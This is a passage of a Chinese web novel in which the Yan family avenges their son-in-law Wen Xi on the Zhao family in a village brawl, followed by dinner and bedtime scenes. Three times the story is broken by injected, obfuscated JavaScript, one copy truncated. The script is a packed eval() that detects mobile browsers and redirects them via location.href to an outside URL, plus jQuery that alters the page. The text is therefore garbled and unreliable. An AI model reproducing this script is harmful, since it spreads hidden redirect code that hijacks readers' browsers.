躲是躲不过的,眼瞅着外面看热闹的人越来越多,赵大河夫妻俩出去赔笑道:“呀,什么风把你们吹来了,严大哥严大嫂快往屋里坐。” “少在这里跟老娘乱攀亲戚。”陈兰芳吵架从不嘴软,半点面子都不给人留,“抢小孩子东西,打哥儿,这样的男人我还真是头一次见,你们家是不是活不起了?活不起就自己拿个破碗出去要饭,跑来欺负我家的人算怎么回事。” 赵大河被她骂得脸一阵红一阵白的,心里有气又觉得理亏:“误会,都是误会,我们家守田不懂事,你们就大人不记小人过别跟他计较了。” 陈兰芳一点不惯着他:“都是二十多岁的大男人了还不懂事,两只脚踏进棺材了能懂事不?你们家赵守田这个天打雷劈没根的烂玩意,自己娶不到夫郎就跑去欺负别人家夫郎,山后的黄鼠狼都没他那么歹毒的。” 李婉跟着大声嚷嚷:“家里有媳妇夫郎的可要注意了,咱们村里出了个歹毒的单身汉,他自己没本事成不了亲就嫉妒别人小两口感情好,平白无故走在路上就要打人,瞧瞧把我们家溪哥儿打成什么样了。” 何锦拉着闻溪在人群里走了一圈:“我长这么大还真没见过这样没种的男人,谁家敢把姑娘哥儿嫁给他,就等着被他打死吧。” 闻溪就算面皮再薄,也知道这种时候该努力配合严家的人。 他本就委屈,根本就不用演,一想到自己莫名其妙被赵守田欺负眼泪就情不自禁落了下来,又羞于将自己红肿的脸颊展示给众人看,咬着唇颤颤躲闪。 一个手无缚鸡之力的瘦小哥儿被外男欺负成这样,围观的邻居都啧啧叹他可怜。 稻香村里打哥儿姑娘的男人是最没品,最受人唾弃的。 赵家条件一般,村里原本就没几个人愿意把孩子嫁到他们家来,严家人这样你唱我和的,赵守田以后更别想在村里说亲了。 村里人议论纷纷,上梁不正下梁歪,儿子这样,当老子的肯定也不是个好玩意儿。 这些言语简直是把赵大河的脸面扔在地上踩,他恨严家得理不饶人,又恨自己儿子惹是生非,满肚子的火不知该往哪发,只能冲着屋里骂道:“你个瘪犊子玩意,还不出来跟人家赔礼道歉,非得老子进去请你是不是。” 赵守田也没想到事情会闹这么大,明明之前闻柳跟他说过闻溪在严家不受待见,这会儿怎么一家人都来替他出头了? 早知闹成这样,他奚落闻溪几句就行了,还跟他动什么手。 赵守田不情不愿从屋里出来,大爷模样地朝着闻溪拱了拱手,脸朝一边道:“抱歉。” 闻溪被人糟践惯了,那些人从来不会对他表示歉意,如今赵守田道了歉,按理说他也该知足了,可他心里还是闷闷地不舒服。 脸上疼痛鲜明的指痕提醒着他受过怎样的屈辱,生养他的父母不拿他当人瞧就罢了,凭什么外头的人也能随意欺负他? 以前没人护着他才不敢反抗,可现在严家的人都说要给他撑腰,闻溪不愿服软,一言不发地背过身去,用沉默表达了自己的态度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536432|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我呸!”严望春往地上吐了口唾沫,粗声粗气道:“一句话就想把这事了结,你当自己是个什么了不起的玩意,不赔钱这事你们别想完。” 来的路上李婉在他跟前上了不少眼药,今天他非得让赵家的人长长记性不可。 一提到钱赵守田他娘刘金花就不干了:“哪来的这么金贵的哥儿,被打一下就让人赔钱!你们严家的就会欺负人,谁知道是不是你们家夫郎故意勾搭我儿子,惹得我儿厌恶才动手的……” 这歹毒的老婆子红口白牙当着这么多人的面污蔑闻溪清白,陈兰芳气得一个跨步上去“啪啪”赏了她两个耳刮子:“我放你祖宗十八代的屁!” 挨了两个大耳刮子的刘金花顺势就往地上一坐,哭天喊地嚷嚷:“打人了,打人了,还有没有王法,有没有天理了。” 闻溪在村里长大,深知这种桃色谣言不加以制止是会把人逼死的,这么多人听着,到时候传来传去还不知道会成什么样子。 况且严家人这么替他出头,他不能跟哑巴似的只躲在他们背后。 他扶着何锦的手臂,稳住自己气得发抖的身体,也顾不得羞,指着赵守田道:“论长相,他跟严逢安一个是天上的白鹤,一个是地上的□□,论身份,他们一个是村里唯一的秀才,一个是游手好闲的无赖,我是眼睛多瞎才会放着好好的日子不过,跑出去勾引他这条癞皮狗?” 陈兰芳顺着往下骂:“也不撒泡尿照照,长得跟个□□成精似的,还敢跟我儿子比,我呸!你儿子这坨臭狗屎跟我儿子提鞋都不配。” “你说谁是臭狗屎,你儿子才是臭狗屎……” 听着外面的叫骂,林雪梅半拖半拽拉着赵长顺出来:“打也打了,骂了也骂了,你们严家还想怎么样?别仗着自己儿子是个秀才就可以随便欺负人,我说这人呐还是得为自己积点德,不然指不定哪天报应就来了。” 赵长顺缩着脖子附和道:“就是,严逢安都那样了,看起来就是个短命的,不知道你们在能耐什么。” “去你娘的!我儿子福寿绵长,吉星高照,你敢咒他,老大老二给我打!”当爹的哪能听别人这样说自己的儿子,一直没吭声的严世昌抡起巴掌往赵长顺脸上招呼,“我今天倒要看看到底是谁短命。” 严望春跟严富秋早憋不住心里的火了,严世昌一开口,两兄弟立马就去收拾赵守田。 陈兰芳那边也扯住了林雪梅的头发,何锦跟李婉则是伸手按住了地上的刘金花。 赵大河见家里人都被欺负,也不好躲着,连忙上去帮赵守田的忙。 两家人就这么肆无忌惮混乱地打在了一块,周围的邻居有想上来劝架的,被严世昌两句话打发回去。 “今天这事是我们跟赵家的事,谁敢上来拉偏架就是跟我们老严家结仇,以后家里有什么事可就别怪我不帮忙了。” 严家父子可不仅仅是有手艺这么简单,他们长得高高大大的,身体很有劲,谁家有个红白喜事都乐意找他们帮忙。 家里没有红白喜事的也得好好跟他们家维持关系,农忙时候,家家户户互相换工帮忙是必须的,严家父子这样干活卖力的男人在那时可是排队都难请到的香饽饽。 严世昌都这样说了,哪个不长眼的敢掺和。 闻溪向来只有挨打的份,从来没有人教他怎么反击过,他躲在一旁,想帮忙都不知该往哪里使劲。 严世昌那沙包大的拳头落在赵家人身上,他都害怕公公会把人打死。 陈兰芳打着打着就跟刘金花打在了一块,两人年岁相仿,又都是干惯农活的妇人,陈兰芳一时半会在她手上还讨不了好。 眼瞅着陈兰芳挨了刘金花一巴掌,闻溪也顾不得心里的害怕,拖着转筋的双腿上前去抓扯住刘金花的头发,气势全无呵斥道:“不准打我婆婆!” 8. 鸡飞狗跳严家胜 别看他声音不大,手上的力气倒是一点不小,刘金花被她扯住痛处,哎哟哎哟的叫唤,嘴里一个劲的骂他“小贱货。” 闻溪不会骂人,弱弱回嘴:“那你是个老贱货。” 陈兰芳从怔愣中回神,趁着他把人逮着的功夫,又赏了刘金花两个响亮的耳光。 这老婆子当着那么多人的面污他的清白,确实该打。这般想着,闻溪也默默用力挠了刘金花几下。 还有赵守田那个罪魁祸首,闻溪知道自己正面跟他对上完全讨不了好,左右四顾找到墙角立起的扫帚,哆哆嗦嗦拿在手中,从背后打了赵守田好几下。 赵守田被严望春揍得鼻青脸肿,见闻溪这样卑微弱小的人都敢偷袭,转身恶狠狠道:“老子打死你这个贱人!” 闻溪打了就跑,哪还能傻站着让他还手。 严望春及时扯住赵守田的领口:“老子先打死你。” 闻溪被赵守田那副凶神恶煞的样子吓得心口直跳,趁他不注意,绕了一圈后,又举着扫帚回去大力抽他。 赵守田抱头乱窜:“你个贱人你跟我等着……” 闻溪把同样的话回敬他:“你打哥儿,你是贱人。” 李婉跟何锦那边两个人收拾林雪梅用不着帮忙,骂完赵守田闻溪又去帮着陈兰芳揍刘金花。 这老婆子净使些下三滥的招数,人又泼得不行,不帮忙婆婆肯定要吃亏。 赵家几个男人那把劲在严家男人跟前是完全不够瞧的,林雪梅跟刘金花一对二也占不到一分便宜,说是打架互殴其实就是赵家人单方面在挨揍。 混战中赵家的鸡笼不知被谁踢飞了,一群鸡惊惶失措吓得四处乱飞。严望春踢了地上哀嚎的赵守田一脚,伸手又快又准的逮住了一只扑腾的老母鸡。 严富秋有样学样,也逮了只鸡。 兄弟俩理直气壮:“抢我们家的兔子,打我们家的人,这两只鸡就当是你们家的赔礼,以后再敢来欺负我们家的人,别说鸡了,家里的牲口你们一个别想留。” 家里拢共就养了五只鸡,平日自己都舍不得吃的玩意,刘金花哪能让他们带走。跳大神似的拍手跳脚,追着严家两兄弟又抓又挠。 严家的男人再怎么也比赵守田有底线,刘金花一个老婆子他们不好动手,只能抱着老母鸡满院子跑。 稻香村的里正赵耕年一来就看到这样混乱的场面,怒斥道:“都给我住手!” 他一声大喝,院子里追打的人都停了下来。 披头散发的刘金花眼珠一转,立马跑到赵耕年跟前哭喊:“他三爷爷你可得跟我们做主啊,这严家的太不是人了,无缘无故跑来我们家闹,把我们一家子人打成这样不说还要抢我们家里的鸡,真是一点儿都不把您这个里正放在眼里。” 陈兰芳呸道:“你这个贼婆娘,舌头打个滚就想把黑白翻个身,我们家做事可不像有些人那么不要脸,别以为里正是你们本家就可以当着这么多邻居的面乱说。” “你一张嘴两片皮,咋说咋有理。谁知道你们家夫郎脸上的伤是不是自己在哪碰的,见我们家好欺负故意来讹我们。”有了靠山,刘金花说话都有了几分底气。 本该在家的铁柱和桃儿突然从赵耕年身后钻了出来:“胡说,明明就是他打的,我们都看见了。” “对,我们都看见了,就是赵金宝叔叔打的人,他们还抢铁柱的兔子。” 那群在河边玩耍的半大孩子都过来作证。 刘金花抬手赶了赶:“去去去,一群小屁孩懂什么,再胡说小心我撕烂你们的嘴。” 陈兰芳把家里的两个孩子拉过来护着:“不是让你们在家照顾三叔吗,怎么都过来了?” 铁柱大声道:“是三叔让我们过来的!” “行了行了,我知道是怎么回事,都别说了。”七嘴八舌的吵得赵耕年耳朵嗡嗡作响,心情更是烦闷。 这赵长河家的仗着跟他沾亲带故,没少在外惹事,每回都要他来擦屁股。这回更是脑子进屎,跑去找严家人的晦气。也不想想严世昌两口子那脾气是能随便受人欺负的吗? 更别提人家小儿子还是个会读书的秀才,脑子不比他们好使一万倍。 刚才严世昌的大孙子铁柱跑到他们家里给他送了封信,信里向他阐述了严赵两家产生矛盾的缘由,末了还说希望他能公平公正的处理这件事。 赵耕年曾经让严逢安帮他写过春联,认出这是他的字。 信上字迹清晰漂亮不像傻子所为,问了铁柱一声,才知严逢安的病已经好了大半,过不了多久就能出来走动了。 别看严逢安那信写得委婉,其实人家字里行间就一个意思:“我夫郎被人打了,我要给他撑腰,你当里正的看着办。” 赵耕年不想得罪严家,可他跟赵大河毕竟是本家,若是一点不偏颇,老赵家的肯定会在背后戳他脊梁骨。 思虑一番想着到了赵家在相机行事,哪知路上又遇到了严世昌的孙女桃儿,丁点大的丫头人倒是机灵得很,找了一群在河边玩的娃娃过来说要给他们家当证人。 小孩子哪懂这些,想必是那严秀才认为口说无凭,这才让她找了几个人证。 赵耕年暗自摇头,人证物证都有,赵家可就怪不得他不帮忙了。 按着赵耕年的意思,他过去让赵守田跟闻溪赔礼道歉,再让赵家出点银钱把这事摆平,只是眼下的情况倒叫他不知怎么开口说赔偿的事。 严家人除了头发有些乱,衣服上有些灰,屁事没有。反观赵家的一个个鼻青脸肿,看起来就受了很严重的伤。 赵大河一瘸一拐过来告状:“叔啊,你瞅瞅严家这群黑心肝的把我们打成什么样了,你可得找他们要个说法。” 赵耕年瞪了他一眼:“祸是你们家赵守田惹的,我能给你要什么说法。” 骂了赵大河,他又看着严世昌道:“赵守田确实有做得不对的地方,可你们家也不能下这么重的手。都是一个村的,有事说事打起来像什么样子。” 本来很好解决的问题,弄得他都不知该帮哪一边。 严世昌心里的气出得差不多了,回他:“既然您过来了,今儿个我便看在您的面子上不再追究,这事到此为止。” 说得像给了他一个多大的人情似的,不过这个台阶两边的人都需要,赵耕年没理由不接。 他挥了挥手道:“你们家老三正担心呢,赶紧回去吧。”又冲着外头看热闹的人喝了喝,“看什么看,赶紧走了!一个个的跟傻子一样都不知道劝一劝,这村里的风气早晚都得被你们败坏。” 围观的人嘁了嘁,心道要说败坏风气也得是赵家的人,哪轮得到他们这些安分守己的。 眼瞅着严家的人真要把两只鸡捉走,刘金花还想大声嚎叫一番,赵耕年一个冷硬的眼神落到她身上:“不赔鸡就赔钱,你们自己选。” 刘金花撒泼打滚,什么赔偿都不乐意给。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536433|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严家人才不管她,抱着鸡就要走,这时铁柱着急地摇了摇严望春的手臂:“爹,还有我的兔子呢,兔子也得要回来。” 这可是他第一回捡到兔子,哪能轻易让给人家。 严望春赶紧回头:“对,还有兔子!” 屋里躲藏着的赵金宝被刚才打架的场面吓得屁滚尿流,听到这话,立马将已经死透的兔子从屋里丢了出来,哭着大喊道:“爹娘,我害怕,快让他们走。” 谁家小孩看到这样的场面不害怕,林雪梅抹着泪进屋哄他,等严家的人走了,她才开口大骂:“我真是倒了八辈子的霉才嫁到你们赵家,这屋里的男人有一个算一个都是些没种的东西。平时不干正事就算了,还老给家里惹祸,个遭瘟的报应,我怎么就摊上了这么些人。” 赵长顺假模假样朝着屋里呵斥:“说什么呢你。” 他看了赵守田一眼,嚷道:“你也是,平日里去祸害别人家孩子就算了,怎么还来嚯嚯自己侄儿。” “要不是你们家金宝想抢人家的兔子,我会跟他们动手吗?这会儿在我跟前充老大,刚才打架的时候你怎么没那么能呢!”赵守田捂着红肿的面颊,对自己的兄长没一点尊敬。 赵长顺恨了他一眼,什么话也没说。 闹到最后,两个儿子还吵了起来,刘金花哭着说自己造孽,又骂严家的人下手狠,心肝黑。 赵大河更是不要脸,怪来怪去,怪赵耕年这个本家人不帮着他。 这一出出的跟唱戏似的,差点没把赵耕年气笑。 要他说,这严家的人下手还是不够狠才让他们有力气在这里怨天怨地的叫唤。那严逢安十六岁就考上了秀才,考举人是迟早的事。他们两家又不是什么特别亲的关系,他才不会为这一家子拎不清的得罪严家。 黄昏时分,天边红日慢慢西坠,袅袅炊烟从各个村舍升起,飒飒凉风中,严家院门外传来阵阵人语声。 “这回我看哪个不长眼的还敢来找咱们家晦气。” 外头人多陈兰芳没敢太得意,临到家了她才换上那副解气的面孔。为着严逢安的前途考虑,她和严世昌两口子平日在村里都小心为人,不到万不得已不会跟人发生冲突。 这段时间家里接二连三的出事,村里一个个都在等着看他们的笑话,严家人憋了一肚子的火正愁没地方发,偏就有人那么不长眼的撞上来。 那赵大河家是什么东西,虚伪谄媚至极的玩意也敢欺到他们头上来,真当他们家是软柿子呢? 一想到赵家那群人被她们家揍得满地找牙,陈兰芳心中就快活极了。 目光在家里人身上扫过,最后落到闻溪身上,她满意地点点头:“今儿个大家表现不错,都辛苦了,晚上我亲自下厨给你们做点好吃的。” 李婉笑着接话:“家里娘的厨艺最好,今晚咱们可有口福了。” 何锦舔舔嘴角挽住陈兰芳的胳膊撒娇:“娘,我想吃鲜锅兔。” “好好好,就依你的,不过兔子是铁柱捡的,得先问问我乖孙子。” 若是活的,铁柱肯定会好好将兔子养着,不让别人伤害它一丝一毫,可兔子都死了,不吃实在浪费了。铁柱依依不舍的把兔子递给陈兰芳,叮嘱道:“奶奶,您一定要把它做得好吃些。” 李婉点了点他的脑袋:“你个小馋猫,还信不过奶奶的手艺了,等着大饱口福吧。” 听着他们的话语,连闻溪都开始暗暗期待今夜的晚饭。 9. 鱼汤鲜美惹人爱 一家人热热闹闹的进了院子,就见身着一袭蓝衫的严逢安负手站在廊下,神色微凝眺望着远处天际残留的红霞。 落日余晖洒在他高挑瘦削的身板上,为他增添了几分寂寥,这番模样,让人一看便知他是个文文弱弱的书生。 一见他,原本还在闲聊嬉笑的严家人都不约而同收了声。严逢安收回自己的思绪,慢慢朝着他们走近,对着严世昌和陈兰芳喊了声:“爹,娘。” 听到这声称呼,严世昌冷峻的面容也和善了些:“外头风大,怎么不在屋里躺着?” 严逢安道:“你们出去许久未回,我不放心,便想出来瞧瞧。” 严富秋掂了掂手里的芦花鸡:“有我和大哥在,还有什么不放心的,难道你还怕我们会吃亏不成?” 何锦伸手掐了掐严富秋的手臂:“你一个五大三粗的汉子,人三弟担心你干什么,人家是在担心他的夫郎呢。” 眼瞅着家里人的目光都落在自己身上,闻溪脸颊不受控制地热了些。 严逢安知他面皮薄,淡淡笑了声便转移了话题。 “这鸡是从赵家捉回来的?” 严富秋点头得意道:“我跟大哥一起逮的,厉害吧?” 说完这话他又有些后悔,小弟平日最瞧不起他们这些打打闹闹的行径,眼下怕是又要嫌他们粗鲁了。 严逢安面露惭愧,佩服道:“确实厉害,换我肯定就没有两位哥哥这样的身手。” 这样的谦词从他嘴里说出来真是难得。严富秋高兴道:“三弟哪里的话,虽说你身手不如我跟大哥,但你读书可比我俩厉害多了。” 严逢安回他:“或许这就叫人各有所长。” 兄友弟恭的场面虽说难得,可眼下又累又饿,实在不是互相吹捧的时候,性情稍显急躁的严望春道:“哎呀,你们俩就别在这里什么长啊短的了,爹娘你们先说说这鸡怎么办吧?” 这两只芦花鸡叫声嘹亮体型肥硕,不知会不会下蛋,陈兰芳暂时没有杀它们的想法:“先放进笼子里跟其他鸡一起关着吧。” “不可!”严世昌出言阻止:“鸡这种牲口最是欺生,你若放进咱们家的鸡笼里,这群畜生恐怕一晚上都不会消停,先拿绳子绑在后院,明儿个再说。” 严望春深觉此话有理,便跟严富秋一道去了后院栓鸡。 此时天色已晚,陈兰芳也不再磨叽转身去灶房做饭。 虽说她主动要下厨,几个媳妇也不可能真就让她一个人忙活。 瞧着李婉何锦一个忙着生火,一个忙着打理野兔,闻溪也摸进厨房,收拾了自己白日在河里捞的杂鱼。 在木盆里泡了一个多时辰,小杂鱼嘴里的泥沙已经吐了干净,它的鳞片极薄,不用特意刮掉,只需用剪刀剪开肚子取出它的内脏即可。 捞这些东西回来的目的主要就是为了炖汤,清洗干净后,闻溪就将它们放到锅里煎了煎。等杂鱼变得微微焦黄又捞出来放进专门给严逢安做饭的陶罐里,加点姜片再掺满水,就可以点炉子慢慢炖了。 他干这些事的时候动作很娴熟麻利,一点不似往常傻气胆小的样子。 陈兰芳看在眼里,心头百感交集,有了更多的计较。 鲜锅兔须得加上新鲜莴笋才能做出那个味道,眼下时节不对,家里也找不到什么代替的菜肴,最后陈兰芳就着现有的食材做了道豉椒兔肉,外加三个时令蔬菜。 小杂鱼不禁煮,等她的菜炒好后,闻溪的鱼汤也炖好了。 煎过后的杂鱼炖出来的汁水颜色乳白,香味浓郁,刚端上桌两个孩子就凑过去吸着鼻子用力闻了闻,嘴里一个劲嚷着“好香好香。” 饭菜摆好后,严家人都相继在凳子上坐下。 这几日严逢安恢复得还不错,吃食虽还得家里人单独做,但是再也不用端到房里吃了。 难得一家人能整齐的坐在一块吃饭,位于上首的老两口都露出了几分喜色。 两个小的依旧是在小凳子上吃,过了一会儿,桃儿捧着碗走过来躲在何锦背后,悄咪咪道:“爹爹,我想喝鱼汤。” 何锦摸着她的头轻声哄了哄:“那是小溪叔叔给你三叔做的,桃儿乖,你想喝汤爹爹下回再给你做。” 桃儿眼里掩饰不住对鱼汤的渴望,可她还是听话的点了点头,乖巧道:“那我下次再喝。” 声虽小,在场的人却都听得清楚。 闻溪张了张嘴,想应承两句,转而一想家里这么多人,就算是件芝麻绿豆大小的事也轮不到他来做主。 何锦都不让孩子喝汤,他就更不敢说什么了。 哥嫂这些年孝敬父母,操持家里,供养他读书十分不易,严逢安感激他们的付出,爱屋及乌,对两个孩子也多有怜爱。 眼见桃儿如此听话,他心中柔软:“想喝便喝,哪里还用等到下回。”说着朝桃儿伸出手:“把碗拿过来,三叔给你盛。” 桃儿愣了愣,看了父亲和爹爹一眼,对鱼汤的渴望还是战胜了心头其他的情绪,小心将碗递到了严逢安手中。 桃儿还不到四岁,小杂鱼肉少刺多,严逢安只给她舀了汤:“慢些喝,小心烫。” 瞅着桃儿都有鱼汤喝,铁柱立马将自己的碗端过来:“三叔我也要!” “贪吃鬼,什么你都想要。”李婉作势在他屁股上轻轻拍了拍。 “今天铁柱捡了兔子,值得表扬,除了鱼汤,三叔再奖励你一条鱼好不好?” “好耶。”铁柱高兴得差点没跳起来,“明天我再去那边看看,说不定还能再捡到兔子呢。” 严望春刮了刮他的鼻尖:“瞧把你美的,哪有那么好的事。” 陈兰芳笑道:“行了,行了,都别贫了,赶紧吃饭吧,等会儿菜都凉了。” 两个孩子坐在一块叽哩哇啦的赞美着鱼汤的美味,闻溪听着嘴角露出一丝笑容,心里美得仿佛自己也喝了鱼汤般。 正开心着,碗里忽然多了几块兔子肉,闻溪抬头想看是谁给他挑的,又见严逢安往他碗里挑了一条小杂鱼。 “今日你受了累,又受了伤,多吃些补补。” 闻溪脸上的巴掌印还未消,陈兰芳道:“是了,这鱼汤最是滋补,等会儿小溪你也多喝一些。” 闻溪没想到这鱼汤还有他的份,正想谦让几句,又听李婉说:“三弟你是不知小溪今儿个在赵家有多厉害,那赵老婆子被他扯着头发揍呢。” 何锦也加入这个话题:“他还夸你是白鹤,说赵守田是癞//□□呢。” 闻溪听着差点咬到自己的舌头,事儿确有那么回事儿,可从他俩嘴里说出来怎就那么别扭呢? “是吗?”严逢安看着快把头都埋进碗里的闻溪,有点想象不出来这个性子跟鹌鹑差不多的人是在何种情形下说出这些话来的。 “那么多人瞧着,还有假不成,说实话小溪这回可真让我刮目相看了。” “有仇必报,这才像咱们家的人。来来来,多吃些。” 陈兰芳也不厚此薄彼,往三个媳妇碗里都挑了菜。 闻溪碗里的菜堆得冒了尖,他心头感动,又怕自己的情绪被人瞧见,忙低头吃了两口饭。 活了十几年他头一回知道原来一家人在一起吃饭是件这么融洽幸福的事,没有排挤,没有辱骂,也不会有人嫌他吃得太多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536434|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长这么大他从未受过别人的庇护,受到欺负也没人会给他出头,经此一事,他心里终于有了些和严家人是一家子的实感。 直到弯弯明月爬上树梢,这一天才算彻底过去。 熄灯后,空气中带着一丝秋天惯有的凉意,闻溪直挺挺的躺在床上,宛如一具死尸,不敢随意动弹。 复诊的大夫说严逢安神思已于常人无异,除了巩固根本的汤药,手上的安神药服用完就不用再喝了。 之前开的安神药严逢安于昨夜全部喝完,今夜他终于不用再受这样的罪。 他倒是舒服了,闻溪却提心吊胆紧张得不行,只要严逢安那边稍有动静,他便如临大敌,不敢发出一点声响。 严逢安叹了口气,不得不对李婉在饭桌上说的那番话感到质疑,闻溪这样胆小的人真的会动手打人吗? 这声叹息落入闻溪耳中,更是让心惊,不由得绷紧身体,双手握拳,做出一副防备的姿态来。 严逢安忍无可忍,支起身子道:“若是觉得难挨,自己打地铺去。” 闻溪二话不说,卷起被子就要往地下躺。 本是拿话刺他,却不想闻溪真的照做,严逢安被他弄得毫无脾气,拉着他的衣领道:“秋夜寒气深重,你还真想打地铺不成?” 闻溪小声回他:“这不是你要求的吗?” 该听话的时候不听话,严逢安无奈道:“好好躺着吧,今日咱俩的二十句话还没说完,左右睡不着,你陪我聊聊。” 闻溪迟疑片刻,挣脱掉严逢安的手,慢慢躺了回去。 他不习惯主动跟人搭话,又想早些把那二十句话说完,想了好半天才道:“娘在刘金花手上吃了亏,我给她帮了忙,扯了那老婆子的头发。” “知道帮忙,倒也不是笨蛋。不过我猜你动手的时候,肯定手脚都在发抖。” “你怎么知道?”闻溪惊讶地转过头去,两人面对面,呼吸都搅在了一块。 严逢安的嗓音比白日里稍低一些:“显而易见的事。” 话里似有嘲笑他太过胆小的意味,闻溪忙补充道:“我还打了赵守田,他打了我一耳光,我还他几扫帚,也算是报了仇。” “就得这样,动物被伤了都会呲牙,何况是人。今天这么闹一场,以后那些想欺负你的人都得掂量掂量了。”肯定了闻溪的做法后,严逢安又道:“不过赵守田平白无故的怎么会对你动手?” 这话让闻溪有些应激,只是他的情绪还没聚拢,就被严逢安下一句话冲散了。 “我的意思是,你之前是否不小心得罪过他,亦或是他受了谁的指使?” 闻溪静默一瞬,细细回想了赵守田说的那番话,找出重点道:“他说我抢了哥哥的亲事,可能是在替我哥抱不平。” 严逢安心下明了,语气都冷了些:“你那哥哥可真有意思,明明是个只知享福,不懂患难的势利眼,偏要装成一个冰清玉洁的受害者,这天下怎么什么好事都要让他占了。” 相处这么些时间,闻溪还是头一回听到他这样冷冽的语气,尤其这话里的人还是闻柳,不禁喃喃道:“你以前从来不会这样说他。” “错了,我以前就很讨厌他。” 闻溪正想出言反驳,严逢安却一把拉起他的被子将他盖住,打了个哈欠道:“天色不早了,睡吧。” 许是被他话里的倦意感染,闻溪也跟着打了个哈欠。说话的中途,他心里的紧张也在不知不觉中散去,僵硬的手脚终于找到了合适的位置放下。 听着严逢安平稳清浅的呼吸,闻溪身上的疲乏席卷而来,上下眼皮轻轻一碰就沉沉睡了过去。 10. 小可怜有人疼咯 家里多了两只芦花鸡,又不能跟自家的鸡养在一块,隔天严世昌起了个大早,天刚亮,他就去山上砍了几根竹子回来,打算给这两只外来鸡也编个鸡笼。 陈兰芳瞧不上赵家的人,连带着这两只鸡都让她看不顺眼。 若非这阵子家里吃食太多,她又想每日多捡两个蛋,恐怕早把这两畜生送上断头台了。 听着她细声地抱怨,严世昌道:“什么你的他的,来了我家,这牲口就是我们的。” “你讲的倒是有理。”陈兰芳帮着严世昌把竹筒破成竹条,听着那俩芦花鸡“咯咯”的声音,道:“其实这人有时候和牲口也差不多。” 严世昌瞥了她一眼:“咱俩夫妻这么多年,什么时候你跟我说话都要这么拐弯抹角了?” 陈兰芳对着他笑了笑:“你能听出来,那我就不算拐弯抹角。那闻石山和李巧珍两口子不是个东西,溪哥儿却是个好的,他是个踏实过日子的人,来了后逢安的病不仅好了,连带着性子都收敛了些,他跟咱们家有缘,咱们不能太亏待他。” “没少他吃也没少他穿,咱们亏待他什么了?” “吃就不说了,你瞅瞅他都穿了些什么,衣裳不合身,鞋子也是破的。都说先敬罗衣后敬人,恐怕赵守田那狗东西就是看他穿得破烂才故意欺负他。” 也不是没有这种可能,严世昌手上动作不停,态度随意:“那你给他置办几身就是。” “是有那个打算,可我也得跟你这个一家之主商量一下不是?” 听出她的打趣,严世昌笑了笑:“一家之主没那么小气,这些事情你自己看着办。大夫说了,逢安手上这副药喝完就能停了,省去这部分花销,咱们家的日子应该能松快一些。改明儿我带着老大老二再去接点活,日子总会慢慢好起来的。” 严世昌是木匠,三个儿子除了严逢安还在上学,其余两个都跟着他做木活。 父子仨有手艺就罢了,小儿子还考上了秀才,能给他们家免除徭役,村里谁家提起他们不得竖一个大拇指。 前几年他们家也确实风光过一阵,可随着严逢安考上秀才,这日子不知怎的就开始拮据起来。 老两口不想把所有的责任都推到严逢安身上,可若是实事求是,他们家大好的日子弄成这样确实跟他脱不了干系。 农户人家供给一个读书人本就不是容易的事情,严逢安还老爱跟书院的同窗攀比,笔墨纸砚要用最好的不说,衣裳也要穿那华丽的,甚至还学着城里的公子哥佩戴玉佩香囊,使用名家题字的扇子。 说来说去他也不过是个泥腿子的儿子,就算考上秀才也不该如此招摇。严世昌和陈兰芳对他疼爱却不溺爱,眼见着他的欲望跟个无底洞似的得不到满足,老两口便不再由着他的性子给他多余的银钱。 为此严逢安倒也安分了一段时间,后来不知怎么的,他又看上了闻柳,变着法的送他首饰还不够,定亲时还要给他三十两的天价聘礼。 想起这些事情,严世昌这心头就闷闷的透不过气,他这儿子从小就聪慧机敏,连路过的游方道士都说他以后会有出息,谁知这孩子长着长着就成了这副德性。 瞅他脸色陈兰芳便知他心中所想,不禁出言宽慰道:“遭此一劫,我看逢安也长了记性,以前那些坏毛病他都会改掉的。” 严世昌长叹一口气,只盼自家孩子是真心改过。 跟严世昌商量过后,隔天陈兰芳就带着闻溪去了镇上。 出门前闻溪特意换上了两个嫂嫂给他做的新鞋,严逢安见他跟得了宝贝的小孩似的在屋里走来走去,不禁调笑道:“小可怜有人疼咯,还有新鞋穿,可真让人羡慕。” 得了新鞋闻溪很是高兴,被他这么一说又有些不好意思。 看在□□他人的份上他鼓起勇气给严逢安献了回殷勤:“糊鞋底的活我会干,下次,我也给你也做一双。” “不用了,我鞋子挺多的。”严逢安打开柜子,露出最底下那层,里面满满当当的,各种各样的鞋子都有。 这些鞋子大部分都是在城里的店铺买的,闻溪那点手艺哪比得过,看着那些鞋子他暗暗告诫自己,下回不要再自找没趣。 “算了,你还是给我做一双吧,这几双鞋子我都不要了。” 